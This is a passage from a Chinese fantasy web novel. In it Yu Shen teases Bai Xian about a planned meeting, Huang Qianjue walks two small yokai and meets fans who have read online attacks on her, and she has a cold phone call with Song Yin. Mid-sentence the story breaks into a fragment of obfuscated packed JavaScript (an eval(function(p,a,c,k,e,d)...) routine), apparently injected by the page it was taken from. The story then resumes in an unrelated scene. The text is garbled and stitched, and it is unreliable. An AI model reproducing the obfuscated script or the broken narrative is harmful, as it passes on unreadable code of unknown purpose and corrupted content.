俞莘瞄了一眼对方,视线这才落向某一处,摇摇头道:“估计是不打了,抱歉,你们好好打吧。” 说完,也不等对方极其熟练地道声“谢谢”,俞莘扛着球拍,风风火火地迈步向前。 白宪倚靠墙壁,拿着手机,眼睛却没有焦距,不知道在思考什么。 打羽毛球生出的汗水浸湿了他额前的碎发,但他的脸色依旧是不自然的白色,不带丝毫血色。 几乎整个身子罩在阴影里,嘴唇轻抿,像是涂上一层墨汁,只有极细一缕阳光,射到他的睫毛上,落入他的瞳孔。 “哒哒。” 羽毛球拍的坚硬边缘敲击木质长椅。 白宪挺起背,视线上移,笑着拍拍他旁边的空位,“坐。” 俞莘坚定地摇摇头,“是你邀请我来打羽毛球的吧?” 白宪点头。 “是你打到一半,突然说有事,抛下我孤零零一个人吧?” 边说,俞莘边装作伤心模样,拿手揩揩没有泪珠的眼角,拍柄蹭红她颧骨。 白宪了然俞莘的小心思,点头,从善如流道:“说吧,想要我做什么?” 俞莘登时眉开眼笑,嘻嘻道:“我这个人最识时务了,肯定不会让你为难的。” 她点了点白宪的手机,问道:“当然,我这人,除了识时务外,还善解人意、嘴皮子紧实,你放心,绝对不会有其他人知道的。” “下次你要打羽毛球,还是乒乓球、足球、篮球……不管什么球,我都一定马不停蹄、快马加鞭地赶过来,奉陪到底。” “今天磨磨蹭蹭地来,只是一个意外。” 俞莘的吃瓜雷达一向敏锐迅捷,秉持着应吃尽吃,绝不挑食的心理,几乎所有的瓜,你问她,她都略知一二。 但至于她的保密能力,天知地知,除了俞莘之外的人都知:乖乖当好穿着新衣的皇帝吧! 白宪撑着笑容,下回还是换个人或妖怪打球吧。 俞莘自顾自地坐下,大方地问道:“说吧,有什么难题?” 眼里闪动着雀跃的光芒。 “没什么大事。你早就认识她了,黄千玦,下周四下午,我邀请她来。” 俞莘猛地蹿起,惊道:“这还不算大事?!!” 俞莘同白宪认识的时间,若要算,勉强拼拼凑凑,也能有两年时间了。她第一次见到白宪,是同她现在的领导一起,打羽毛球,二对二对抗,缺一人。 时间过去很久,但她还是很想吐槽,三个妖怪打羽毛球,叫她一个人类去掺和,做什么?确定不需要去看看精神科吗? 她是不会出钱赞助的。 她当时边摸鱼边腹诽,结果球没接住几个,瓜倒是吃撑了。 毕竟对于普通人或妖怪来说,羽毛球也算是一项社交性活动,哪能一直哐哐打? 打羽毛球也是需要中场休息,交流交流打球感想,然后一个不注意,八卦就从肚子里蹿上嘴边,漏了出来。 俞莘最喜欢这个时刻了。 目前的妖族说太平也算太平,说不太平也不算太平。白宪他活太久了,挡道了,挡的还不是一个人的道。 一言以贯之,有一时太子,哪有一世太子之说? 俞莘撇撇嘴,但一想到这所代表的意义,又忍不住心尖颤栗。 这回吃瓜,又能赶上前排了! 她拍拍胸脯,又一次保证,“你放心,我嘴巴很严的。” 白宪有些头疼地笑道:“但真不是你想的那回事,只是很平常的一次聊天。” 说完,又笑笑自己。 他含糊其辞道:“随便聊一些什么,比如说交流感想之类的。” 他知识广博,触类旁通,但他这一回,确实不知道要跟黄千玦交流什么。 但学习人类文化多年,他熟知一个道理,船到桥头自然直。 俞莘一脸不相信。 她更相信自己的判断。 他反问道:“若是你,你会怎么做?” 俞莘沉吟:“你想听正经版,还是不正经版?” *** 晚饭过后,黄千玦陪着云弦、出阳在天元山景区闲逛。 风雨过后,地上积了不少落叶、烂叶,但一扫先前的空气里的闷热,送来清爽的气息。 出阳跑在最前头,赤红色尾巴在落日余晖的照射下,更像一团燃烧的火焰。 但路边仍积着雨水,爪子踩下去,周边一圈的绒毛沾着泥水,湿漉漉地结在一起,他毫不在意,哇呜哇呜地叫。 叫声也不像狐狸叫。 云弦落在他身后,身子小一半,跑得也慢几步,但小小的身子,大大的能量,背一弓,下一秒就立刻弹射出去,积水哗啦哗啦地飞溅,落到她身上。 云弦不在乎地甩甩身子,继续往前追。但偶尔停下爪子,拿沾着泥水的爪子虚虚掩住爪子,乌溜溜的眼珠里闪着惊讶和欢喜,四处张望过路的行人。 黄千玦落在最后,颇为无奈地看着两个小家伙,得了,澡白洗了!也不怕回去又要被拽着耳朵唠叨?希望妈妈别治她一个看管不利的罪。 边这么想,边嘴角弯起弧度,懒散闲适地挪着腿。 人生快意,莫过于此。 此时,日头渐西,大批游客披着红金色晚霞,有说有笑地往外边的泊车点走去。 有几个年轻俏丽的女生在出阳、云弦身前停下,从包里抓出根火腿肠,掰成两半,嘴里嘬嘬叫唤。 出阳、云弦征求性地向黄千玦望了一眼,黄千玦小跑几步。 拿着两截火腿肠的女生忽地察觉头顶落下一片阴影,向上一望,俏生生道:“啊?它们是你家的吗?对不起,对不起,我不知道。” 慌里慌张地收回手,想了想,又举着两截火腿肠,道:“这是我刚拆的,我瞧它们可爱,如果不可以,我就自己吃了。” 云弦、出阳一瞪眼,还能这么做的吗?都说要给它们吃了,他们都眼巴巴地过来了? 顾不得姐姐,两双眼睛圆滚滚、湿润润地瞅着女生。 与她同行的其他两名女生,忍不住惊呼,直嚷“可爱”。 黄千玦好笑地盯着两个小家伙圆润的肚子,正餐吃得肚儿圆,还惦记着点心。 道:“少吃一点没事。” “两个小家伙身上溅上泥水倒是挺脏的,小心一些。” 女生们闻言,噗嗤一乐。 云弦不可置信地看着黄千玦,气鼓鼓地跺脚,但转眼间又被另一个女生拿出来的五颜六色的糖果吸引过去,直往女生腿边蹭。 出阳不遑多让。 若是能张嘴说人话,两个小妖怪指不定要姐姐长,姐姐短。 云弦、出阳的如人类幼童一般的反应,女生们看在眼里,又惊又奇,对两个小动物又添了几分喜爱。 黄千玦留出空间,分出一部分心神盯着云弦、出阳,又分出一部分心神,观察来往行人。 约莫十来分钟,女生们心满意足地起身,也不嫌弃两个小家伙,临别前握握爪子,再向黄千玦告别。 忽地,先前呆呆地握着两截火腿肠的女生,捂嘴讶然,眼神直勾勾地盯着黄千玦。 之前全部心神都落到两个小动物上,又听到黄千玦的促狭话,只顾捂着嘴笑,她倒没怎么注意黄千玦的脸。 现在看清了,她又猛地眨眨眼睛,似是不可置信,最后目光钉在黄千玦脸上。 她吃过这个瓜。无论是假千金鸠占鹊巢,还是山顶之战,热搜词条都恨不得把黄千玦钉在耻辱柱上。 她不由面色涨红,张口想要说些什么,但想起一小时前,她才点赞了一条骂黄千玦的评论。 她又憋回去。 亲眼见着本人,她才知道,传言不可尽信。 黄千玦眼尾眯着,月牙儿眼睛,眉眼天生带着几分冷意,却被眼底的融融笑意中和了,给人一种从容安稳之感。 指尖还沾着云弦蹭上的泥水印子,和评论区里心机毒妇的形容毫不相干。 更何况,按照她朴素的价值观,受动物喜爱的人,总是不会太坏的。 她暗暗反思,良心稍安,压低声音道:“那个……最近还是不要上网吧,网上话很难听,但是能rua小宠物才是人生大圆满!” 黄千玦微微一怔,思忖女生前后反差和她话里话外的意思,猜想到,对方知道自己是谁。 但网上有关她的负面舆论一直存在,不只有真假千金之事,还有竞争对手的恶意泼脏水。 她若是心里脆弱,条条都要在意,那她不如直接隐居深山。 一个人过于耀眼,总是会碰见烂脚虾,若是没碰见脏水污 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后者受益者指向性明确,评论有讥笑讽刺,单方面压倒一片。她点开几个带头账号,注册时间清一色都在今日。 究竟谁是利益受益者,几乎昭然若揭了。 黄千玦揉了揉额头,她怎么也没想到,她居然又被动跟临城黄家扯上关系,也是没想到,他们居然还有精力折腾得上蹿下跳。 正好,今晚天正凉,她送他们最后一程! 她面无表情的,手指摁下一串电话号码,静静等待电话接通。 凌霁卧在一边,想尽力缩小自己的体积,显得不起眼些,但毛发松软,动作间,又蓬松许多,一缕一缕,如蒲公英飘飞。 她像变了一个人。 “来了。” 声音如同钝刀割肉,来回反复,又像吊着的那口气,欲出不出。 “你百般邀请,我不来,你不会失望?我这人,一向尊老。” 黄千玦斜靠着枕头,微微调整姿势,让自己更为舒服,顺便一把搂过一旁大惊失色的毛茸茸小动物,有一下没一下地揉着脑袋。 “呵呵。”宋隐轻笑。 “笑得真难听,以后别笑了。” 黄千玦立刻翻脸,冷漠道。 黄千玦极为清楚,临城黄家四人,没什么本事,闹腾来闹腾去,也只能在自己那一亩三分地嚯嚯。 这件事另有推手。 但以宋隐骄傲自负的脾性,她是不会主动来找黄千玦的。 “对你的奶奶,这么冷酷无情?”宋隐忍下愠怒。 “你不是我的奶奶。我们之间,少装什么假惺惺的祖孙亲情了,直说吧。” “我以为你回家两个月,已经忘了之前的生活,看来你记得很清楚嘛。”宋隐收回笑容,指尖轻轻地点了点红木扶手。 黄千玦没有回答,手上使劲,捏紧凌霁的肉垫,逼得他弹出锐利的爪尖。 他想收回,但对上黄千玦空落落的眼神,一时愣怔。 黄千玦柔软的指腹摩挲着爪子,皮下的血管忽地涨大,红丝显眼。 “思来想去,我还是最中意你,你该回来了。” 嗓音绵柔,如毒蛇轻吐蛇信子,在不经意间释放毒液。 “需要思考两个月,你老了。”黄千玦嘲讽笑道。 宋隐冷笑,“下周四,我出差回来,我们见一面。” 黄千玦一时不察,手上用力,指腹刺疼,像是小刀刺啦,沁出豆大的血珠,却没引起她的注意。 血珠滚落,像是视频慢镜头回放,凌霁眼睁睁看着它坠落,染红他的绒毛。 “把网上的事情解决,下周六见。”语气高高在上,傲慢命令道。 宋隐腾地站起,窗外,月亮高悬独照她,忽地,一抹黑云飘过,遮住月华。 高楼林立,霓虹灯闪烁,在她沟壑纵横的脸上,填满青绿、蓝紫、红粉等光芒。 “你!” 但没等她说完,只听见一阵电话挂断的忙音。 缓缓吐出一口浊气,道:“好样的!” 黄千玦这边。 她调整姿势,脊梁挺直,视线放远,眉峰压眼,一时间猜不透她在想什么。 凌霁愣怔地看着那抹红色,那张任是发怒、欣喜、哀伤、快乐,都显得无比可爱的猫猫脸上,难得出现一抹奇异的色彩,但也看不透在想什么。